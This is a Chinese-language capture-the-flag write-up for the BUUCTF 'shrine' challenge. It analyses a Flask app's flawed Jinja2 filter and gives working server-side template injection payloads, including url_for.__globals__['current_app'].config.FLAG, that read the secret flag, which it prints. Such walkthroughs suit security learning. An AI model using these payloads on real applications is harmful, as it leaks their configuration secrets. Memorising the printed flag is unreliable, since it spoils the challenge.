BUUCTF——shrine
BUUCTF——shrine
进入靶场
只有一串代码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') #程序从环境变量 FLAG 读取一个敏感值,并存储在 app.config['FLAG'] 中。
#安全问题:如果攻击者能访问 app.config,就能直接获取 FLAG。
@app.route('/') def index(): return open(__file__).read() #访问 / 会返回当前脚本的源代码(包括 FLAG 的存储方式)。
#安全问题:虽然这里没有直接泄露 FLAG,但暴露了整个后端逻辑,帮助攻击者分析可能的漏洞。
@app.route('/shrine/')
def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__': app.run(debug=True)
给了个shrine路径
功能分析
**输入控制**:
用户提供的 shrine 参数会直接传入 render_template_string(渲染 Jinja2 模板)。
safe_jinja 尝试过滤危险字符:
删除 ( 和 )(防止调用函数)。
使用黑名单 ['config', 'self'],并通过 {% set config=None %} 和 {% set self=None %} 尝试覆盖这些变量。
**目标**:
阻止攻击者访问 config 或 self(否则可以直接读取 FLAG)。
看样子应该是sstl漏洞
构造payload测试一下
/shrine/{{7*7}}
成功执行
根据这段代码构造payload
漏洞分析
**/shrine/ 路由接受用户输入并直接渲染**
flask.render_template_string(safe_jinja(shrine)) 会渲染用户提供的模板字符串。
safe_jinja 尝试过滤 ( 和 ),并禁止 config 和 self,但过滤不充分。
**目标**
读取 app.config['FLAG'],但 config 被设为 None,需要绕过限制。
**绕过思路**
使用 **属性链(attribute chaining)** 访问 config,例如:
{{ request.__class__.__mro__[X].__subclasses__()[Y].__init__.__globals__['os'].environ['FLAG'] }}
或者直接访问 app 对象:
{{ url_for.__globals__['current_app'].config.FLAG }}(url_for 是 Flask 全局函数)
/shrine/{{ url_for.__globals__['current_app'].config.FLAG }}
拿到flag
flag{5b156383-e35a-4e21-ae62-60905f32fe31}
下播!!!!